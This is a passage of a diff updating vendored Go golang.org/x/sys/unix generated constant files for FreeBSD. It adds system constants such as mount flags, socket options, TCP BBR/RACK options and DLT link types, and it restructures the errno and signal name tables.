-+ MAP_GUARD = 0x2000
- MAP_HASSEMAPHORE = 0x200
- MAP_NOCORE = 0x20000
- MAP_NOSYNC = 0x800
-@@ -979,8 +1027,62 @@ const (
- MAP_RESERVED0100 = 0x100
- MAP_SHARED = 0x1
- MAP_STACK = 0x400
-+ MCAST_BLOCK_SOURCE = 0x54
-+ MCAST_EXCLUDE = 0x2
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x50
-+ MCAST_JOIN_SOURCE_GROUP = 0x52
-+ MCAST_LEAVE_GROUP = 0x51
-+ MCAST_LEAVE_SOURCE_GROUP = 0x53
-+ MCAST_UNBLOCK_SOURCE = 0x55
-+ MCAST_UNDEFINED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ACLS = 0x8000000
-+ MNT_ASYNC = 0x40
-+ MNT_AUTOMOUNTED = 0x200000000
-+ MNT_BYFSID = 0x8000000
-+ MNT_CMDFLAGS = 0xd0f0000
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_EXKERB = 0x800
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x20000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_GJOURNAL = 0x2000000
-+ MNT_IGNORE = 0x800000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_MULTILABEL = 0x4000000
-+ MNT_NFS4ACLS = 0x10
-+ MNT_NOATIME = 0x10000000
-+ MNT_NOCLUSTERR = 0x40000000
-+ MNT_NOCLUSTERW = 0x80000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NONBUSY = 0x4000000
-+ MNT_NOSUID = 0x8
-+ MNT_NOSYMFOLLOW = 0x400000
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SNAPSHOT = 0x1000000
-+ MNT_SOFTDEP = 0x200000
-+ MNT_SUIDDIR = 0x100000
-+ MNT_SUJ = 0x100000000
-+ MNT_SUSPEND = 0x4
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UNTRUSTED = 0x800000000
-+ MNT_UPDATE = 0x10000
-+ MNT_UPDATEMASK = 0xad8d0807e
-+ MNT_USER = 0x8000
-+ MNT_VERIFIED = 0x400000000
-+ MNT_VISFLAGMASK = 0xffef0ffff
-+ MNT_WAIT = 0x1
- MSG_CMSG_CLOEXEC = 0x40000
- MSG_COMPAT = 0x8000
- MSG_CTRUNC = 0x20
-@@ -1005,8 +1107,10 @@ const (
- NET_RT_IFLIST = 0x3
- NET_RT_IFLISTL = 0x5
- NET_RT_IFMALIST = 0x4
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOKERNINFO = 0x2000000
-+ NOTE_ABSTIME = 0x10
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
- NOTE_CLOSE = 0x100
-@@ -1161,7 +1265,6 @@ const (
- RTV_WEIGHT = 0x100
- RT_ALL_FIBS = -0x1
- RT_BLACKHOLE = 0x40
-- RT_CACHING_CONTEXT = 0x1
- RT_DEFAULT_FIB = 0x0
- RT_HAS_GW = 0x80
- RT_HAS_HEADER = 0x10
-@@ -1171,15 +1274,17 @@ const (
- RT_LLE_CACHE = 0x100
- RT_MAY_LOOP = 0x8
- RT_MAY_LOOP_BIT = 0x3
-- RT_NORTREF = 0x2
- RT_REJECT = 0x20
- RUSAGE_CHILDREN = -0x1
- RUSAGE_SELF = 0x0
- RUSAGE_THREAD = 0x1
- SCM_BINTIME = 0x4
- SCM_CREDS = 0x3
-+ SCM_MONOTONIC = 0x6
-+ SCM_REALTIME = 0x5
- SCM_RIGHTS = 0x1
- SCM_TIMESTAMP = 0x2
-+ SCM_TIME_INFO = 0x7
- SHUT_RD = 0x0
- SHUT_RDWR = 0x2
- SHUT_WR = 0x1
-@@ -1195,6 +1300,7 @@ const (
- SIOCGETSGCNT = 0xc0147210
- SIOCGETVIFCNT = 0xc014720f
- SIOCGHIWAT = 0x40047301
-+ SIOCGHWADDR = 0xc020693e
- SIOCGI2C = 0xc020693d
- SIOCGIFADDR = 0xc0206921
- SIOCGIFBRDADDR = 0xc0206923
-@@ -1216,8 +1322,11 @@ const (
- SIOCGIFPDSTADDR = 0xc0206948
- SIOCGIFPHYS = 0xc0206935
- SIOCGIFPSRCADDR = 0xc0206947
-+ SIOCGIFRSSHASH = 0xc0186997
-+ SIOCGIFRSSKEY = 0xc0946996
- SIOCGIFSTATUS = 0xc331693b
- SIOCGIFXMEDIA = 0xc028698b
-+ SIOCGLANPCP = 0xc0206998
- SIOCGLOWAT = 0x40047303
- SIOCGPGRP = 0x40047309
- SIOCGPRIVATE_0 = 0xc0206950
-@@ -1248,6 +1357,7 @@ const (
- SIOCSIFPHYS = 0x80206936
- SIOCSIFRVNET = 0xc020695b
- SIOCSIFVNET = 0xc020695a
-+ SIOCSLANPCP = 0x80206999
- SIOCSLOWAT = 0x80047302
- SIOCSPGRP = 0x80047308
- SIOCSTUNFIB = 0x8020695f
-@@ -1266,6 +1376,7 @@ const (
- SO_BINTIME = 0x2000
- SO_BROADCAST = 0x20
- SO_DEBUG = 0x1
-+ SO_DOMAIN = 0x1019
- SO_DONTROUTE = 0x10
- SO_ERROR = 0x1007
- SO_KEEPALIVE = 0x8
-@@ -1274,6 +1385,7 @@ const (
- SO_LISTENINCQLEN = 0x1013
- SO_LISTENQLEN = 0x1012
- SO_LISTENQLIMIT = 0x1011
-+ SO_MAX_PACING_RATE = 0x1018
- SO_NOSIGPIPE = 0x800
- SO_NO_DDP = 0x8000
- SO_NO_OFFLOAD = 0x4000
-@@ -1286,15 +1398,52 @@ const (
- SO_RCVTIMEO = 0x1006
- SO_REUSEADDR = 0x4
- SO_REUSEPORT = 0x200
-+ SO_REUSEPORT_LB = 0x10000
- SO_SETFIB = 0x1014
- SO_SNDBUF = 0x1001
- SO_SNDLOWAT = 0x1003
- SO_SNDTIMEO = 0x1005
- SO_TIMESTAMP = 0x400
-+ SO_TS_BINTIME = 0x1
-+ SO_TS_CLOCK = 0x1017
-+ SO_TS_CLOCK_MAX = 0x3
-+ SO_TS_DEFAULT = 0x0
-+ SO_TS_MONOTONIC = 0x3
-+ SO_TS_REALTIME = 0x2
-+ SO_TS_REALTIME_MICRO = 0x0
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
- SO_USER_COOKIE = 0x1015
- SO_VENDOR = 0x80000000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFWHT = 0xe000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TAB0 = 0x0
- TAB3 = 0x4
- TABDLY = 0x4
-@@ -1305,10 +1454,45 @@ const (
- TCOFLUSH = 0x2
- TCOOFF = 0x1
- TCOON = 0x2
-+ TCP_BBR_ACK_COMP_ALG = 0x448
-+ TCP_BBR_DRAIN_INC_EXTRA = 0x43c
-+ TCP_BBR_DRAIN_PG = 0x42e
-+ TCP_BBR_EXTRA_GAIN = 0x449
-+ TCP_BBR_IWINTSO = 0x42b
-+ TCP_BBR_LOWGAIN_FD = 0x436
-+ TCP_BBR_LOWGAIN_HALF = 0x435
-+ TCP_BBR_LOWGAIN_THRESH = 0x434
-+ TCP_BBR_MAX_RTO = 0x439
-+ TCP_BBR_MIN_RTO = 0x438
-+ TCP_BBR_ONE_RETRAN = 0x431
-+ TCP_BBR_PACE_CROSS = 0x442
-+ TCP_BBR_PACE_DEL_TAR = 0x43f
-+ TCP_BBR_PACE_PER_SEC = 0x43e
-+ TCP_BBR_PACE_SEG_MAX = 0x440
-+ TCP_BBR_PACE_SEG_MIN = 0x441
-+ TCP_BBR_PROBE_RTT_GAIN = 0x44d
-+ TCP_BBR_PROBE_RTT_INT = 0x430
-+ TCP_BBR_PROBE_RTT_LEN = 0x44e
-+ TCP_BBR_RACK_RTT_USE = 0x44a
-+ TCP_BBR_RECFORCE = 0x42c
-+ TCP_BBR_REC_OVER_HPTS = 0x43a
-+ TCP_BBR_RETRAN_WTSO = 0x44b
-+ TCP_BBR_RWND_IS_APP = 0x42f
-+ TCP_BBR_STARTUP_EXIT_EPOCH = 0x43d
-+ TCP_BBR_STARTUP_LOSS_EXIT = 0x432
-+ TCP_BBR_STARTUP_PG = 0x42d
-+ TCP_BBR_UNLIMITED = 0x43b
-+ TCP_BBR_USEDEL_RATE = 0x437
-+ TCP_BBR_USE_LOWGAIN = 0x433
- TCP_CA_NAME_MAX = 0x10
- TCP_CCALGOOPT = 0x41
- TCP_CONGESTION = 0x40
-+ TCP_DATA_AFTER_CLOSE = 0x44c
-+ TCP_DELACK = 0x48
- TCP_FASTOPEN = 0x401
-+ TCP_FASTOPEN_MAX_COOKIE_LEN = 0x10
-+ TCP_FASTOPEN_MIN_COOKIE_LEN = 0x4
-+ TCP_FASTOPEN_PSK_LEN = 0x10
- TCP_FUNCTION_BLK = 0x2000
- TCP_FUNCTION_NAME_LEN_MAX = 0x20
- TCP_INFO = 0x20
-@@ -1316,6 +1500,12 @@ const (
- TCP_KEEPIDLE = 0x100
- TCP_KEEPINIT = 0x80
- TCP_KEEPINTVL = 0x200
-+ TCP_LOG = 0x22
-+ TCP_LOGBUF = 0x23
-+ TCP_LOGDUMP = 0x25
-+ TCP_LOGDUMPID = 0x26
-+ TCP_LOGID = 0x24
-+ TCP_LOG_ID_LEN = 0x40
- TCP_MAXBURST = 0x4
- TCP_MAXHLEN = 0x3c
- TCP_MAXOLEN = 0x28
-@@ -1331,8 +1521,30 @@ const (
- TCP_NOPUSH = 0x4
- TCP_PCAP_IN = 0x1000
- TCP_PCAP_OUT = 0x800
-+ TCP_RACK_EARLY_RECOV = 0x423
-+ TCP_RACK_EARLY_SEG = 0x424
-+ TCP_RACK_IDLE_REDUCE_HIGH = 0x444
-+ TCP_RACK_MIN_PACE = 0x445
-+ TCP_RACK_MIN_PACE_SEG = 0x446
-+ TCP_RACK_MIN_TO = 0x422
-+ TCP_RACK_PACE_ALWAYS = 0x41f
-+ TCP_RACK_PACE_MAX_SEG = 0x41e
-+ TCP_RACK_PACE_REDUCE = 0x41d
-+ TCP_RACK_PKT_DELAY = 0x428
-+ TCP_RACK_PROP = 0x41b
-+ TCP_RACK_PROP_RATE = 0x420
-+ TCP_RACK_PRR_SENDALOT = 0x421
-+ TCP_RACK_REORD_FADE = 0x426
-+ TCP_RACK_REORD_THRESH = 0x425
-+ TCP_RACK_SESS_CWV = 0x42a
-+ TCP_RACK_TLP_INC_VAR = 0x429
-+ TCP_RACK_TLP_REDUCE = 0x41c
-+ TCP_RACK_TLP_THRESH = 0x427
-+ TCP_RACK_TLP_USE = 0x447
- TCP_VENDOR = 0x80000000
- TCSAFLUSH = 0x2
-+ TIMER_ABSTIME = 0x1
-+ TIMER_RELTIME = 0x0
- TIOCCBRK = 0x2000747a
- TIOCCDTR = 0x20007478
- TIOCCONS = 0x80047462
-@@ -1396,6 +1608,8 @@ const (
- TIOCTIMESTAMP = 0x40087459
- TIOCUCNTL = 0x80047466
- TOSTOP = 0x400000
-+ UTIME_NOW = -0x1
-+ UTIME_OMIT = -0x2
- VDISCARD = 0xf
- VDSUSP = 0xb
- VEOF = 0x0
-@@ -1407,6 +1621,8 @@ const (
- VKILL = 0x5
- VLNEXT = 0xe
- VMIN = 0x10
-+ VM_BCACHE_SIZE_MAX = 0x70e0000
-+ VM_SWZONE_SIZE_MAX = 0x2280000
- VQUIT = 0x9
- VREPRINT = 0x6
- VSTART = 0xc
-@@ -1569,138 +1785,146 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "operation canceled",
-- 86: "illegal byte sequence",
-- 87: "attribute not found",
-- 88: "programming error",
-- 89: "bad message",
-- 90: "multihop attempted",
-- 91: "link has been severed",
-- 92: "protocol error",
-- 93: "capabilities insufficient",
-- 94: "not permitted in capability mode",
-- 95: "state not recoverable",
-- 96: "previous owner died",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "ECANCELED", "operation canceled"},
-+ {86, "EILSEQ", "illegal byte sequence"},
-+ {87, "ENOATTR", "attribute not found"},
-+ {88, "EDOOFUS", "programming error"},
-+ {89, "EBADMSG", "bad message"},
-+ {90, "EMULTIHOP", "multihop attempted"},
-+ {91, "ENOLINK", "link has been severed"},
-+ {92, "EPROTO", "protocol error"},
-+ {93, "ENOTCAPABLE", "capabilities insufficient"},
-+ {94, "ECAPMODE", "not permitted in capability mode"},
-+ {95, "ENOTRECOVERABLE", "state not recoverable"},
-+ {96, "EOWNERDEAD", "previous owner died"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "unknown signal",
-- 33: "unknown signal",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "unknown signal"},
-+ {33, "SIGLIBRT", "unknown signal"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go
-index ac094f9c..4acd101c 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go
-@@ -3,7 +3,7 @@
-
- // +build amd64,freebsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -351,8 +351,26 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0x18
- CTL_NET = 0x4
-+ DIOCGATTR = 0xc148648e
-+ DIOCGDELETE = 0x80106488
-+ DIOCGFLUSH = 0x20006487
-+ DIOCGFRONTSTUFF = 0x40086486
-+ DIOCGFWHEADS = 0x40046483
-+ DIOCGFWSECTORS = 0x40046482
-+ DIOCGIDENT = 0x41006489
-+ DIOCGMEDIASIZE = 0x40086481
-+ DIOCGPHYSPATH = 0x4400648d
-+ DIOCGPROVIDERNAME = 0x4400648a
-+ DIOCGSECTORSIZE = 0x40046480
-+ DIOCGSTRIPEOFFSET = 0x4008648c
-+ DIOCGSTRIPESIZE = 0x4008648b
-+ DIOCSKERNELDUMP = 0x80506490
-+ DIOCSKERNELDUMP_FREEBSD11 = 0x80046485
-+ DIOCZONECMD = 0xc080648f
- DLT_A429 = 0xb8
- DLT_A653_ICM = 0xb9
- DLT_AIRONET_HEADER = 0x78
-@@ -377,11 +395,14 @@ const (
- DLT_CHAOS = 0x5
- DLT_CHDLC = 0x68
- DLT_CISCO_IOS = 0x76
-+ DLT_CLASS_NETBSD_RAWAF = 0x2240000
- DLT_C_HDLC = 0x68
- DLT_C_HDLC_WITH_DIR = 0xcd
- DLT_DBUS = 0xe7
- DLT_DECT = 0xdd
-+ DLT_DISPLAYPORT_AUX = 0x113
- DLT_DOCSIS = 0x8f
-+ DLT_DOCSIS31_XRA31 = 0x111
- DLT_DVB_CI = 0xeb
- DLT_ECONET = 0x73
- DLT_EN10MB = 0x1
-@@ -391,6 +412,7 @@ const (
- DLT_ERF = 0xc5
- DLT_ERF_ETH = 0xaf
- DLT_ERF_POS = 0xb0
-+ DLT_ETHERNET_MPACKET = 0x112
- DLT_FC_2 = 0xe0
- DLT_FC_2_WITH_FRAME_DELIMS = 0xe1
- DLT_FDDI = 0xa
-@@ -404,7 +426,6 @@ const (
- DLT_GPRS_LLC = 0xa9
- DLT_GSMTAP_ABIS = 0xda
- DLT_GSMTAP_UM = 0xd9
-- DLT_HHDLC = 0x79
- DLT_IBM_SN = 0x92
- DLT_IBM_SP = 0x91
- DLT_IEEE802 = 0x6
-@@ -427,6 +448,7 @@ const (
- DLT_IPV4 = 0xe4
- DLT_IPV6 = 0xe5
- DLT_IP_OVER_FC = 0x7a
-+ DLT_ISO_14443 = 0x108
- DLT_JUNIPER_ATM1 = 0x89
- DLT_JUNIPER_ATM2 = 0x87
- DLT_JUNIPER_ATM_CEMIC = 0xee
-@@ -459,8 +481,9 @@ const (
- DLT_LINUX_PPP_WITHDIRECTION = 0xa6
- DLT_LINUX_SLL = 0x71
- DLT_LOOP = 0x6c
-+ DLT_LORATAP = 0x10e
- DLT_LTALK = 0x72
-- DLT_MATCHING_MAX = 0x104
-+ DLT_MATCHING_MAX = 0x113
- DLT_MATCHING_MIN = 0x68
- DLT_MFR = 0xb6
- DLT_MOST = 0xd3
-@@ -476,14 +499,16 @@ const (
- DLT_NFC_LLCP = 0xf5
- DLT_NFLOG = 0xef
- DLT_NG40 = 0xf4
-+ DLT_NORDIC_BLE = 0x110
- DLT_NULL = 0x0
-+ DLT_OPENFLOW = 0x10b
- DLT_PCI_EXP = 0x7d
- DLT_PFLOG = 0x75
- DLT_PFSYNC = 0x79
- DLT_PKTAP = 0x102
- DLT_PPI = 0xc0
- DLT_PPP = 0x9
-- DLT_PPP_BSDOS = 0x10
-+ DLT_PPP_BSDOS = 0xe
- DLT_PPP_ETHER = 0x33
- DLT_PPP_PPPD = 0xa6
- DLT_PPP_SERIAL = 0x32
-@@ -494,19 +519,25 @@ const (
- DLT_PRONET = 0x4
- DLT_RAIF1 = 0xc6
- DLT_RAW = 0xc
-+ DLT_RDS = 0x109
-+ DLT_REDBACK_SMARTEDGE = 0x20
- DLT_RIO = 0x7c
- DLT_RTAC_SERIAL = 0xfa
- DLT_SCCP = 0x8e
- DLT_SCTP = 0xf8
-+ DLT_SDLC = 0x10c
- DLT_SITA = 0xc4
- DLT_SLIP = 0x8
-- DLT_SLIP_BSDOS = 0xf
-+ DLT_SLIP_BSDOS = 0xd
- DLT_STANAG_5066_D_PDU = 0xed
- DLT_SUNATM = 0x7b
- DLT_SYMANTEC_FIREWALL = 0x63
-+ DLT_TI_LLN_SNIFFER = 0x10d
- DLT_TZSP = 0x80
- DLT_USB = 0xba
- DLT_USBPCAP = 0xf9
-+ DLT_USB_DARWIN = 0x10a
-+ DLT_USB_FREEBSD = 0xba
- DLT_USB_LINUX = 0xbd
- DLT_USB_LINUX_MMAPPED = 0xdc
- DLT_USER0 = 0x93
-@@ -525,10 +556,14 @@ const (
- DLT_USER7 = 0x9a
- DLT_USER8 = 0x9b
- DLT_USER9 = 0x9c
-+ DLT_VSOCK = 0x10f
-+ DLT_WATTSTOPPER_DLM = 0x107
- DLT_WIHART = 0xdf
- DLT_WIRESHARK_UPPER_PDU = 0xfc
- DLT_X2E_SERIAL = 0xd5
- DLT_X2E_XORAYA = 0xd6
-+ DLT_ZWAVE_R1_R2 = 0x105
-+ DLT_ZWAVE_R3 = 0x106
- DT_BLK = 0x6
- DT_CHR = 0x2
- DT_DIR = 0x4
-@@ -546,6 +581,7 @@ const (
- ECHONL = 0x10
- ECHOPRT = 0x20
- EVFILT_AIO = -0x3
-+ EVFILT_EMPTY = -0xd
- EVFILT_FS = -0x9
- EVFILT_LIO = -0xa
- EVFILT_PROC = -0x5
-@@ -553,11 +589,12 @@ const (
- EVFILT_READ = -0x1
- EVFILT_SENDFILE = -0xc
- EVFILT_SIGNAL = -0x6
-- EVFILT_SYSCOUNT = 0xc
-+ EVFILT_SYSCOUNT = 0xd
- EVFILT_TIMER = -0x7
- EVFILT_USER = -0xb
- EVFILT_VNODE = -0x4
- EVFILT_WRITE = -0x2
-+ EVNAMEMAP_NAME_SIZE = 0x40
- EV_ADD = 0x1
- EV_CLEAR = 0x20
- EV_DELETE = 0x2
-@@ -574,6 +611,7 @@ const (
- EV_RECEIPT = 0x40
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_MAXNAMELEN = 0xff
- EXTATTR_NAMESPACE_EMPTY = 0x0
- EXTATTR_NAMESPACE_SYSTEM = 0x2
- EXTATTR_NAMESPACE_USER = 0x1
-@@ -608,12 +646,14 @@ const (
- F_UNLCKSYS = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
